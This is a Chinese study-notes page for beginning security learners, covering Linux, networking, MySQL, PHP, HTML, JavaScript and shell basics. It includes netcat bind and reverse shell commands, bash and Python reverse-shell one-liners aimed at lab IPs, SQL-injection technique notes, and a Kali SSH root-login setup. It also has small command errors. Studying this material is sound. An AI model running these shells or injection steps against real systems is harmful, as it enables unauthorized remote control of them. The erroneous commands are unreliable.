1. 1. A级别:重要知识点
    1. 1.1. 一、虚拟机:
      1. 1.1.1. 1.三种网络模式:
    2. 1.2. 二、Linux
      1. 1.2.1. 1.运行级别:init
      2. 1.2.2. 2.Linux目录结构
      3. 1.2.3. 3.常用命令
      4. 1.2.4. 4.重要系统文件
      5. 1.2.5. 5.vim
    3. 1.3. 三、网络基础
      1. 1.3.1. 1.IP
      2. 1.3.2. 2.子网掩码
      3. 1.3.3. 3.网关
      4. 1.3.4. 4. 通信子网和资源子网
      5. 1.3.5. 5.OSI参考模型
      6. 1.3.6. 6.TCP/IP参考模型
    4. 1.4. 四、数据库
      1. 1.4.1. 1.分类
      2. 1.4.2. 2.特点
      3. 1.4.3. 3.数据库连接及退出
      4. 1.4.4. 4.常见数据库命令
      5. 1.4.5. 5.SQL注入相关重点内容
    5. 1.5. 五、编程语言类
      1. 1.5.1. 一、单引号和双引号
      2. 1.5.2. 二、变量名命名规则
      3. 1.5.3. 三、数组下标
      4. 1.5.4. 四、break和continue
      5. 1.5.5. 五、不同等号的含义
      6. 1.5.6. 六、逻辑运算
    6. 1.6. 六、HTML
      1. 1.6.1. 1.基本框架
      2. 1.6.2. 2.常用标签
    7. 1.7. 七、nc及Linux反弹shell
      1. 1.7.1. NC远程控制
      2. 1.7.2. Linux反弹shell
    8. 1.8. 八、PHP
      1. 1.8.1. 1.注释符
      2. 1.8.2. 2.语句分隔符
      3. 1.8.3. 3.变量语法规则
      4. 1.8.4. 4.变量传值
      5. 1.8.5. 5.选择循环结构
        1. 1.8.5.1. if
        2. 1.8.5.2. switch
        3. 1.8.5.3. for
        4. 1.8.5.4. while
        5. 1.8.5.5. do while
        6. 1.8.5.6. break和continue进阶使用
      6. 1.8.6. 6.include和require
      7. 1.8.7. 7.函数
        1. 1.8.7.1. 形参和实参
        2. 1.8.7.2. 引用传值
        3. 1.8.7.3. 返回值
        4. 1.8.7.4. return关键字
        5. 1.8.7.5. 作用域
        6. 1.8.7.6. 静态变量
        7. 1.8.7.7. 可变函数
        8. 1.8.7.8. 匿名函数
      8. 1.8.8. 8.数组
        1. 1.8.8.1. 数组特点
        2. 1.8.8.2. foreach遍历数组
      9. 1.8.9. 9.表单传值
        1. 1.8.9.1. get方式
        2. 1.8.9.2. post方式
      10. 1.8.10. 10.文件上传
        1. 1.8.10.1. 上传表单写法
        2. 1.8.10.2. $_FILES
      11. 1.8.11. 11.PHP操作数据库
        1. 1.8.11.1. 重要函数
  2. 2. B级别:一般知识点
    1. 2.1. 一、网络安全法
    2. 2.2. 二、虚拟机:
      1. 2.2.1. 1.做快照
      2. 2.2.2. 2.做克隆
    3. 2.3. 三、Linux
      1. 2.3.1. 1.linux发行版概念
      2. 2.3.2. 2.kali初始设置
      3. 2.3.3. Kali开启ssh
    4. 2.4. 四:数据库
    5. 2.5. 五、SHELL编程
    6. 2.6. 六、CSS层叠样式表
    7. 2.7. 七、JavaScript
      1. 2.7.1. 一、定义语法
      2. 2.7.2. 二、全局变量和局部变量
      3. 2.7.3. 三、变量生命周期
      4. 2.7.4. 四、外部调用JS脚本
      5. 2.7.5. 五、输出方式
        1. 2.7.5.1. 弹出警告框
      6. 2.7.6. 六、变量
      7. 2.7.7. 七、注释
      8. 2.7.8. 八、大小写敏感
      9. 2.7.9. 九、数组
        1. 2.7.9.1. 一、定义方式
      10. 2.7.10. 十、对象
      11. 2.7.11. 十一、if选择结构
      12. 2.7.12. 十二、switch选择结构
      13. 2.7.13. 十三、for循环
      14. 2.7.14. 十四、for in遍历
      15. 2.7.15. 十五、while循环
      16. 2.7.16. 十六、do while循环
      17. 2.7.17. 十七、dom
      18. 2.7.18. 十八、 访问 HTML 元素(节点)
    8. 2.8. 八、PHP
      1. 2.8.1. 1.删除变量
      2. 2.8.2. 2.常量定义
      3. 2.8.3. 3.数据类型
      4. 2.8.4. 4.类型转换
        1. 2.8.4.1. 5.不同进制整数表示
        2. 2.8.4.2. 6.empty()和isset()
        3. 2.8.4.3. 7.计算机码及位运算
      5. 2.8.5. 8.流程控制替代语法
      6. 2.8.6. 9.数组

笔记

主要是这段时间的一些笔记总结。

A级别:重要知识点

一、虚拟机:

1.三种网络模式:

桥接
NAT
仅主机模式

二、Linux

1.运行级别:init

  • 运行级别0:系统关机状态,系统默认运行级别不能设为0,否则不能正常启动
  • 运行级别1:单用户工作状态,root权限,用于系统维护,禁止远程登陆
  • 运行级别2:多用户状态(没有NFS)
  • 运行级别3:完全的多用户状态(有NFS),登陆后进入控制台命令行模式
  • 运行级别4:系统未使用,保留
  • 运行级别5:X11控制台,登陆后进入图形GUI模式
  • 运行级别6:系统正常关闭并重启,默认运行级别不能设为6,否则不能正常启动

如果需要永久切换运行级别,需要在配置文件中修改

2.Linux目录结构

  • /bin:bin是Binary的缩写, 这个目录存放着最经常使用的命令。
  • /sbin:s就是Super User的意思,这里存放的是系统管理员使用的系统管理程序。
  • /etc:这个目录用来存放所有的系统管理所需要的配置文件和子目录。
  • /home:普通用户的主目录
  • /root:该目录为系统管理员,也称作超级权限者的用户主目录。
  • /tmp:这个目录是用来存放一些临时文件的。(重要主要体现在权限上)

3.常用命令

绝对路径 参照根目录
相对路径 参照当前目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
./    当前路径       ../    上一层路径 
ls -la 查看文件
man 帮助
ctrl + c 强制终止
touch 创建文件
mkdir 创建目录
rm -fr 删除文件/目录
pwd 查看当前所在路径
cp 复制
mv 移动
cat 读取文件内容
head 从头开始读取文件内容
tail 从尾部开始读取文件内容
more 读取文件内容
less 读取文件内容
chmod 777 文件名 (read:4、write:2、excute:1) 给文件赋权限
useradd 选项 用户名 创建账号
userdel 选项 用户名 删除账号
usermod 选项 用户名 修改账号
groupadd 【选项】 用户组 添加用户组
groupdel 用户组 删除用户组
groupmod 选项 用户组 修改用户组属性
apt-get install xxxx 安装软件
tar -zxvf xxxx.tar.gz 解压
tar -cxvf xxxx.tar.gz 压缩
whoami 查看当前登录用户
history 查看历史命令
| 管道符,前面的输出是后面的输入
id 查看当前用户ID情况
find -name 按文件名字查找
find -type f/d 按文件类型查找
ps -ef 查看进程
service 服务名 start/stop/restart/status 开启/关闭/重启/查看 服务
kill -9 强制终止进程
ifconfig 查看IP地址
uname 查看内核信息
netstat -ntlp 查看网络状态

4.重要系统文件

/etc/passwd:存储用户信息

/etc/shadow:存储加密后的密码

/etc/group: 用户组相关信息

5.vim

三、网络基础

1.IP

IP地址是32位二进制数。
二进制和十进制的转换。
局域网地址:以10、172、192开头的三类地址,主要应用在采用TCP/IP协议互联单位局域网或校园网络内部。 (有可能是,不是一定是)

2.子网掩码

子网掩码的作用是将某个IP地址划分成网络地址和主机地址。必须和IP地址同时使用。
判断两个主机IP是否在一个子网:将两个IP同时和子网掩码进行与运算,如果所得结果相同,则处于同一个子网。
子网掩码1代表网络位,0代表主机位,1和0不能交叉出现。

3.网关

网关(Gateway)就是一个网络连接到另一个网络的“关口”
网关是和其他网络进行通信的出口,如果子网内的主机通信,可以不配置网关。

4. 通信子网和资源子网

功能上将计算机网络逻辑划分为资源子网通信子网

对于TCP/IP五层协议来说:

其中资源子网为:应用层,传输层。
通信子网为:网络层、数据链路层、物理层。

5.OSI参考模型

OSI七层
应用层
表示层
会话层
传输层
网络层
数据链路层
物理层

6.TCP/IP参考模型

TCP五层 功能
应用层 QQ,微信等应用软件
传输层 封装源端口和目的端口信息 TCP/UDP协议
网络层 封装源IP和目标IP信息 IP协议
数据链路层 封装mac地址信息
物理层

四、数据库

1.分类

关系型数据库和非关系型数据库

关系型数据库:MSSQL 、MySQL 、Access及其他常见数据库均为关系型数据库

2.特点

(1)、Mysql是一种开源免费的数据库产品
(2)、Mysql对PHP的支持是最好(WAMP或者LAMP)
(3). Mysql是一种C/S结构:客户端和服务端

3.数据库连接及退出

1
mysql.exe/mysql    [-h主机地址]   [-P端口]   -u用户名    -p密码

注意事项

  1. 通常端口都可以默认:mysql坚挺的端口通常都是3306
  2. 密码的输入可以先输入-p,直接换行,然后再以密文方式输入密码
  3. 参数和值之间连这些不加空格

退出:

1
2
3
exit;		
\q;
quit;

4.常见数据库命令

create database 创建数据库

create table 表名(字段名 字段类型 [字段属性], 字段名 字段类型 [字段属性],…) [表选项] 创建数据表

show databases; 显示全部数据库

show tables; 显示全部数据表

show create database数据库名字; 显示数据库创建语句

show create table表名; 显示表创建语句

use 数据库名字[;] 选择数据库/进入数据库

drop database 数据库名字; 删除数据库

drop table 表名[,表名2…]; 可以同时删除多个数据表

数据库名.数据表
create table 新表名 like 表名 复制表结构(仅仅复制结构不复制数据)

desc 表名; 显示表结构

rename table 旧表名 to 新表名 修改表名

update 表名 set 字段名 = 新值 [where 条件]; 更新数据

select 字段列表/* from 表名 where 字段名 = 值; 查询。*代表所有字段。
set names 字符集

5.SQL注入相关重点内容

1.group_concat() 为了将分组中指定的字段进行合并(字符串拼接)

2.order by排序:根据校对规则对数据进行排序,在SQL注入中用来判断查询字段数。

3.limit 1 限制查询结果返回1条 limit 0,1 限制获取结果为第一条记录,0代表第一条记录开始取,1代表获取的数量是一条

4.联合查询:

语法:select 语句1 union select 语句2;(要求:语句1和语句2查询字段数一样!!!)

5.注释符:
单行注释:

1
2
#
-- (不要忽略--后面的空格)(在url中输入可以输入--+)

多行注释:
/* */

6.information_schema数据库
三个重点表

1
2
3
4
5
schemata        数据库相关信息,show databases就是从这个表中得到的结果,它的重点字段是:schema_name

tables 数据表的相关信息,它的重点字段table_name存的是表名 另一个重点字段table_schema用来存它属于哪个数据库

columns 列信息,第一个重点字段table_schema ,第二个重点字段:table_name , column_name:列的名字

五、编程语言类

一、单引号和双引号

  1. 单引号原样输出
  2. 双引号可以识别变量和转义。

二、变量名命名规则

变量名由英文字母,数字和下划线构成,首个字符不能以数字开头,中间不能有空格 。

三、数组下标

数组元素的下标由0开始。

四、break和continue

break: 跳出整个循环
continue: 跳出当前循环

五、不同等号的含义

= 赋值运算符,将等号右边的赋值给左边

== 判断左右两边值是否相等

=== 判断左右两边值和类型是否均相等

六、逻辑运算

与运算:两者均为真则结果为真

或运算:两者其一为真,则结果为真。

非运算:本身为真,取非为假,反之本身为假,取非为真。

六、HTML

1.基本框架

1
2
3
4
5
6
7
<html>
<head>
<title>标题</title>
</head>
<body>
</body>
</html>

2.常用标签

需要闭合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<p>    段落
<h1>…<h6> 标题
<a href=””> 超链接
<image src=””> 图片
<table> <tr><td> 表格相关标签
<div> 块标签
<form> <input> 表单相关标签
<b> 字体加粗 <i>字体倾斜
<script>



不需要闭合
<hr> 横线
<br> 换行

七、nc及Linux反弹shell

NC远程控制

正向:
A: nc -lp 333 -c bash
B: nc -nv 192.168.239.140 333

反向:
A: nc -lp 333
B: nc –nv 192.168.239.140 333 -c bash

Linux反弹shell

方式一:
攻击机:nc -lvp 8888

被攻击机:bash -i >& /dev/tcp/192.168.239.140/8888 0>&1

方式二:
攻击机:nc -lvp 8888
被攻击机:

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.239.130',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

八、PHP

1.注释符

单行注释

1
2
//   
#

多行注释

1
/* ……*/

2.语句分隔符

3.变量语法规则

声明和使用时都需要加$

4.变量传值

值传递

将变量保存的值复制一份,然后将新的值给另外一个变量保存(两个变量没有关系)

引用传递

将变量保存的值所在的内存地址,传递给另外一个变量:两个变量指向同一块内存空间(两个变量是同一个值)

1
$新变量 = &$老变量;

5.选择循环结构

if

1
2
3
4
5
6
7
8
if(条件表达式1){
//满足条件表达式1的代码段;
}elseif(条件表达式2){
//不满足表达式1条件,但是满足表达式2的代码;
}… //可以使用多个elseif来进行再次条件筛选
else{
//全部不满足要执行的代码;
}

条件表达式==和=不相同!!!

switch

1
2
3
4
5
6
7
8
9
10
11
12
13
switch(条件表达式){
case 值1:
要执行的代码段;
break;
case 值2:
要执行的代码段;
break;

default:
//匹配失败的代码;
break;
}
不要忘了写break

for

1
2
3
4
5
6
for(条件表达式1;条件表达式2;条件表达式3){
//条件表达式1:定义初始化条件,可以有多种赋值语句存在,使用逗号分隔即可
//条件表达式2:边界判定,限定循环执行的次数
//条件表达式3:用来执行条件变化(自操作)
//循环体
}

while

1
2
3
4
while(条件表达式){
//条件表达式就是判断边界条件
循环体; //循环条件的变化
}

do while

1
2
3
4
5
do{
//循环体
}while(条件表达式);

do-while当条件不满足,循环会执行一次,while循环一次不执行。

break和continue进阶使用

1
2
3
continue 2; 跳出x层循环,但继续循环

break 2; 跳出x层循环,停止循环

6.include和require

四种包含方式区别

  • include:出现一次包含一次,如包含不到不影响后面代码执行

  • include_once:包含前先判断是否曾包含过,如包含过则不重复包含。

  • require:出现一次包含一次,如包含不到则会报错,终止代码执行

  • require_once:和include_once相同

语法格式

1
include ‘文件名字’;

嵌套包含

包含的时候推荐使用绝对路径

7.函数

语法格式

1
2
3
4
function 函数名([形参]){
//函数体
//返回值:return 结果;
}

调用方式:函数名(实参)

函数的调用可以在函数定义之前

形参和实参

  • 形参:函数在定义的时候圆括号中的参数
  • 实参:函数在调用的时候传递的实际参数,可以是具体的值也可以是变量。
  1. 在PHP中允许实参多于形参(个数):函数内部不用而已

  2. 在PHP中理论上形参个数没有限制(实际开发不会太多)

  3. 实参不能少于形参个数

默认值

默认值的定义是放在最右边的(多个),不能左边形参有默认值,但是右边没有

引用传值

1
2
3
Function 函数名(形参1,&形参2){
//函数体
}

调用的时候引用传值形参对应的实参不需要写“&”。

引用传值形参对应的实参必须是变量,不能写具体的值。

返回值

(函数调用处):在PHP中所有的函数都有返回值。(如果没有明确return使用,那么系统默认返回NULL

return关键字

  1. return在函数内部存在的价值:返回当前函数的结果(当前函数运行结束)

  2. return还可以在文件中直接使用(不在函数里面):代表文件将结果return后面跟的内容,转交给包含当前文件的位置。在文件中也代表中终止文件后面的代码:return之后的内容不会执行。

作用域

$GLOBALS 这是一个超全局变量,在函数内和函数外均可访问,其中全局变量会被存入该数组,可以通过对应的数组下标实现函数内访问外部全局变量。

global 它可以实现函数内访问外部全局变量,也可以外部访问函数内局部变量。它的本质:在函数的内部和外部,对一个同名变量(全局和局部)使用同一块内存地址保存数据,从而实现共同拥有。

基本语法:

  • global 变量名; //不能赋值
  • 变量名 = 值; //修改

静态变量

函数运行结束所有局部变量都会清空,如果重新运行一下函数,所有的局部变量又会重新初始化。但静态变量会保留之前状态。

可变函数

1
2
3
4
5
$变量 = ‘display’;                              
function display(){
}
//可变函数
$变量();

匿名函数

基本语法:

1
2
3
变量名 = function(){
函数体
};

8.数组

三种定义方式

  1. 使用array关键字:最常用的
    • $变量 = array(元素1,元素2,元素3..);
  2. 可以使用中括号来包裹数据:
    • $变量 = [元素1,元素2…];
  3. 隐形定义数组:给变量增加一个中括号,系统自动变成数组
    • $变量[] = 值1; //如果不提供下标也可以,系统自动生成(数字:从0开始)
    • $变量[下标] = 值; //中括号里面的内容称之为下标key,该下标可以是字母(单词)或者数字,与变量命名的规则相似

数组特点

  1. 数组元素的顺序以放入顺序为准,跟下标无关
  2. 数字下标的自增长特性:从0开始自动增长,如果中间手动出现较大的,那么后面的自增长元素从最大的值+1开始
  3. 当后面的元素下标和前面的相同,会覆盖前面的元素。

foreach遍历数组

1
2
3
foreach($数组变量 as [$下标 =>] $值){
//通过$下标访问元素的下标;通过$值访问元素的值
}

9.表单传值

get方式

1)form表单

1
<form method=”GET”>表单元素</form>

2)url

1
www.itcast.cn/index.php?学科=PHP

post方式

1
<form method=”POST”>表单元素</form>

get传输数据可以在URL中对外可见,而post不可见:GET传值最终会在浏览器的地址栏中全部显示:?数据名=数据值&数据名2=数据值2…

接受数据的三种超全局变量

  • $_GET方式:接收GET方式提交的数据
  • $_POST方式:接收POST方式提交的数据
  • $_REQUEST方式:接收POST或者GET提交的所有数据

10.文件上传

1)method属性:表单提交方式必须为POST //$_POST数组中有上传文件内容吗?

2)enctype属性(必须写:form表单属性,主要是规范表单数据的编码方式

上传表单写法

1
2
3
4
5
6
<form method="POST" enctype="multipart/from-data action="upload.php">

<input type="file" name="image" />
<input type="submit" name="btn" value="upload file">

</form>

$_FILES

  1. name:文件在用户(浏览器端)电脑上实际存在的名字(实际用来保留后缀)
  2. tmp_name:文件上传到服务器后操作系统保存的临时路径(实际用来给PHP后期使用)
  3. type:MIME(多功能互联网邮件扩展)类型,用来在计算机中客户端识别文件类型(确定软件)
  4. error:文件上传的代号,用来告知应用软件(PHP)文件接收过程中出现了什么问题(PHP后期根据代码进行文件判断)
  5. size:文件大小(PHP根据实际需求来确定是否该保留)

文件上传中用到的两个重要函数

  1. 判断是否为上传的文件:is_uploaded_file()

  2. 移动文件:move_uploaded_file()

11.PHP操作数据库

重要函数

  • mysqli_connect() 函数: 打开一个到 MySQL 服务器的新的连接。

语法

1
2
3
4
5
6
7
mysqli_connect(host,username,password,dbname,port,socket);

host 规定主机名或 IP 地址。
Username 规定 MySQL 用户名。
Password 规定 MySQL 密码。
dbname 规定默认使用的数据库。
port 规定尝试连接到 MySQL 服务器的端口号。
  • mysqli_close($conn)中断MySQL服务器的连接

  • mysqli_query() 函数执行某个针对数据库的查询。

语法

1
2
3
mysqli_query(connection,query,resultmode);
connection 必需。规定要使用的 MySQL 连接。
query 必需,规定查询字符串。
  • mysqli_num_rows()返回结果集中行的数量

语法:

1
mysqli_num_rows($result);
  • mysqli_fetch_assoc()从结果集中取得一行作为关联数组
  • mysqli_fetch_array()从结果集中取得一行作为索引数组或关联数组,或两者兼有

B级别:一般知识点

一、网络安全法

  1. 违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。

二、虚拟机:

1.做快照

(1)运行状态下做快照
(2)关机状态下做快照
建议虚拟机装好后配置好相应的环境及安装好相应工具后做个快照。

2.做克隆

(1)链接克隆   占用硬盘空间少,建立速度快,但克隆母体删掉或损坏会影响链接克隆。
(2)完全克隆   占用硬盘空间多,建立速度慢,但独立于克隆母体。

三、Linux

1.linux发行版概念

Linux只定义/实现了一个内核。内核必须同命令、守护进程以及其他软件一起打包来组成一个可以使用的完整操作系统,这种打包就是Distribution,中文一般称为发行版本。

2.kali初始设置

root登录

sudo passwd root修改root密码

重启后以root身份登录

更新源:
vim /etc/apt/sources.list 在末尾加入下列源

1
2
3
4
5
6
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

换完源之后在终端输入:apt-get update && apt-get upgrade && apt-get clean

更新源和更新软件
命令:apt-get update && apt-get upgrade && apt-get clean

Kali2020官方教程中建议使用apt

apt-get update
只更新软件包的索引源,作用是同步源的软件包的索引信息,从而进行软件更新。
apt-get upgrade
升级系统上安装的所有软件包,所更新失败,所涉及的包会保持更新之前的状态。
apt-get clean
把已安装的软件包的安装包删除掉。

Kali开启ssh

  1. vim /etc/ssh/sshd_config

(1) 允许root登录 permitrootlogin yes

(2) 允许密码登录 #PasswordAuthentication no

  1. 重启ssd服务 /etc/init.d/ssh restart

  2. 添加开机启动 update-rc.d ssh enable 或使用systemctl enable ssh

四:数据库

  1. 按照数据库规模分类

小型关系型数据库:

  • Microsoft Access
  • SQLite

中型关系型数据库:

  • SQL Server
  • Mysql

大型关系型数据库:

  • Oracle
  • DB2
  1. MySQL发展史

AB公司被Sun公司收购—》Oracle又收购了Sun公司

五、SHELL编程

  1. shell指定解释器:#!/bin/bash

  2. 脚本后缀没要求,但为了让别人知道脚本类型,推荐使用.sh作为后缀名

  3. 运行脚本前需要先赋予可执行权限。./文件名运行脚本

  4. 变量名和等号之间不能有空格

  5. 变量声明时不加$符号,但使用时需要加$符号。为了避免歧义,可以把变量名用花括号{ }括起来。

  6. readonly只读变量,不能改变变量值,不能用unset删除变量。

  7. #可以用来输出变量长度,

    1
    echo ${#string}
  8. 获取文件名和后缀

    1
    2
    ${string%.*}
    ${string#*.}
  9. # 注释符

  10. 运行脚本时可以传递参数,其中$0代表文件名,$1…$n代表第一个n个参数,$10及更大的数字需要用花括号把数字括起来。

  11. $#代表传递的参数个数,$*以及[email protected]代表显示所有向脚本传递的参数。

  12. shell脚本中需要转义,写成`\`

  13. if结构 例如:(注意闭合if,以及结构中执行体内容不能为空)

    1
    2
    3
    4
    5
    6
    if [[ $a -lt 100 && $b -gt 100 ]]
    then
    echo "返回 true"
    else
    echo "返回 false"
    fi
  14. echo -e “OK! \n” # -e 开启转义

  15. printf可以格式化打印。

  16. while condition

    1
    2
    3
    do
    command
    done
  17. case

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    case 值 in
    模式1)
    command1
    command2
    ...
    commandN
    ;;
    模式2)
    command1
    command2
    ...
    commandN
    ;;
    esac
  18. read 变量名 接收用户输入

六、CSS层叠样式表

1.层叠样式表三种使用方式
内联样式(标签内定义)

内部样式
<head>标签内用<style>定义
如:

1
2
3
4
5
6
7
<head>
<style>
hr {color:sienna;}
p {margin-left:20px;}
body {background-image:url("images/back40.gif");}
</style>
</head>

外部样式

1
2
3
4
5
<head>标签中用<link>定义,外部样式文件以.css结尾
如:
<head>
<link rel="stylesheet" type="text/css" href="mystyle.css">
</head>

七、JavaScript

1.JavaJavaScript的关系

两者没关系

2.脚本所在位置

可以和html代码共存,用<script></script>标签界定代码边界。

3.函数

一、定义语法

1
2
3
4
5
6
7
function  函数名称()

{

具体代码……

}

二、全局变量和局部变量

局部变量:在函数内定义,只有函数内能访问
全局变量:函数外声明,所有脚本和函数都能访问。

三、变量生命周期

JavaScript 变量的生命期从它们被声明的时间开始。
局部变量会在函数运行以后被删除。
全局变量会在页面关闭后被删除。

四、外部调用JS脚本

  1. 外部脚本后缀名以.js结尾
  2. 外部脚本代码中不要再出现<script>标签,直接写脚本内容
  3. 引用方式:
    <script src="http://192.168.239.139/myScript.js"></script>

五、输出方式

弹出警告框

使用 window.alert() 弹出警告框。(window.可以不写,直接写alertalert括号中如果是数字不需要加引号,如果是字符串,需要加引号)

写到HTML文档中
使用 document.write() 方法将内容写到 HTML 文档中。

写到HTML元素中
使用 innerHTML 写入到 HTML 元素。

六、变量

  1. 用var声明变量

  2. 驼峰命名变量:

    大驼峰(每个单词首字母大写,其他字母小写),

    小驼峰(第一个单词全部小写,后面单词首字母大写)

七、注释

单行注释://
多行注释:/* */

八、大小写敏感

九、数组

一、定义方式

1: 直接赋值

1
2
var names = [“zhangsan", “li", “wangwu"];
var names = [12, 23, 45, 56];

2:先new再赋值

1
2
3
4
var cars=new Array();
cars[0]="Saab";
cars[1]="Volvo";
cars[2]="BMW";

3:new的时候直接赋值

1
var cars=new Array("Saab","Volvo","BMW");

十、对象

一、定义对象:

单行定义:

1
var person = {firstName:"Bill", lastName:"Gates", age:62, eyeColor:"blue"};

多行定义:

1
2
3
4
5
6
var person = {
firstName:"Bill",
lastName:"Gates",
age:62,
eyeColor:"blue"
};

二、访问对象属性

1
person.lastName;

三、访问对象方法

1
person.fullName();

十一、if选择结构

1
2
3
4
5
6
7
8
9
10
11
12
if (condition1)
{
当条件 1 为 true 时执行的代码
}
else if (condition2)
{
当条件 2 为 true 时执行的代码
}
else
{
当条件 1 和 条件 2 都不为 true 时执行的代码
}

十二、switch选择结构

1
2
3
4
5
6
7
8
9
10
11
switch(n)
{
case 1:
执行代码块 1
break;
case 2:
执行代码块 2
break;
default:
与 case 1 和 case 2 不同时执行的代码
}

十三、for循环

1
2
3
4
for( i=0;i<cars.length;i++)
{
var value = cars[i];
}

十四、for in遍历

1
2
3
4
5
6
var person={fname:"John",lname:"Doe",age:25}; 

for (x in person) // x 为属性名
{
txt=txt + person[x];
}

十五、while循环

1
2
3
4
while (条件)
{
需要执行的代码
}

十六、do while循环

1
2
3
4
5
do
{
需要执行的代码
}
while (条件);

和前者相比,区别为:当调节不满足,do while循环也至少会执行一次循环体,while则一次不执行

十七、dom

DOMDocument Object Model文档对象模型)的缩写

十八、 访问 HTML 元素(节点)

通过使用 getElementById() 方法

通过使用 getElementsByTagName() 方法

八、PHP

1.删除变量

unset

2.常量定义

  1. 使用定义常量的函数:define(‘常量名’,常量值);
  2. 5.3之后才有的:const 常量名 = 值;

3.数据类型

  • 简单(基本)数据类型

    • 整型:int/integer,系统分配4个字节存储,、

    • 浮点型:float/double,系统分配8个字节存储,、

    • 字符串型:string,系统根据实际长度分配,、

    • 布尔类型:bool/boolean,表示布尔类型,只有两个值:true和false

  • 复合数据类型

    • 对象类型:object,存放对象(面向对象)

    • 数组类型:array,存储多个数据(一次性)

  • 特殊数据类型

    • 资源类型:resource,存放资源数据(PHP外部数据,如数据库、文件)

    • 空类型:NULL,只有一个值就是NULL(不能运算)

4.类型转换

  • 自动转换:系统根据需求自己判定,自己转换。

  • 强制(手动)转换:人为根据需要的目标类型转换
    强制转换规则:在变量之前增加一个括号(),然后在里面写上对应类型。

  • 字符串转数值有自己的规则

    1. 以字母开头的字符串,永远为0;
    2. 以数字开头的字符串,取到碰到字符串为止(不会同时包含两个小数点)
1
settype(变量名,类型):设定数据类型,改变原始数据

5.不同进制整数表示

1
2
3
4
$a = 120;		//10进制
$a=0b110; //2进制
$a=0120; //8进制
$a=0x120; //16进制

类型转换函数:

  • decbin():十进制转二进制
  • decoct():十进制转八进制
  • dechex():十进制转十六进制
  • bindec():二进制转十进制

6.empty()和isset()

  • empty():判断数据的值是否为“空”,不是NULL,如果为空返回true,不为空返回false
  • isset():判断数据存储的变量本身是否存在,存在变量返回true,不存在返回false

7.计算机码及位运算

计算机码:原码、反码和补码,数值本身最左边一位是用来充当符号位:正数为0,负数为1

  • 原码:数据本身从十进制转换成二进制得到的结果
    • 正数:左边符号位为0(正数的原码、反码和补码就是原码本身)
    • 负数:左边符号位为1
  • 反码:针对负数,符号位不变,其他位取反
  • 补码:针对负数,反码+1

位运算:取出计算机中最小的单位(位bit)进行运算
|符号|意义
|–|–|
|&|按位与,两个位都为1,结果为1,否则为0
|||按位或,两个有一个为1,结果为1
|~|按位非,一个位如果为1则变成0,否则反之
|^|按位异或,两个相同则为0,不同则为1
|<<|按位左移,整个位(32位),向左移动一位,右边补0
|>>|按位右移,整个位向右移动一位,左边补符号位对应内容(正数补0,负数补1)

  • 注意:
    1. 系统进行任何位运算的时候都是使用的补码
    2. 运算结束之后都必须将补码转换成原码才是最终要显示的数据

8.流程控制替代语法

1
2
3
4
5
if:if():    endif;
switch:switch(): endswitch;
for: for: endfor;
while while: endwhile;
foreach foreach: endforeach;

9.数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sort():顺序排序(下标重排)
rsort():逆序排序
asort():顺序排序(下标保留)
arsort():逆序排序
ksort():顺序排序:按照键名(下标)(保留下标)
krsort():逆序排序
shuffle():随机打乱数组元素,数组下标会重排
reset():重置指针,将数组指针回到首位
end():重置指针,将数组指针指导最后一个元素
next():指针下移,取得下一个元素的值
prev():指针上移,取得上一个元素的值
current():获取当前指针对应的元素值
key():获取当前指针对应的下标值
count():统计数组中元素的数量
array_push():往数组中加入一个元素(数组后面)
array_pop():从数组中取出一个元素(数组后面)
array_shift():从数组中取出一个元素(数组前面)
array_unshift():从数组中加入一个元素(数组前面)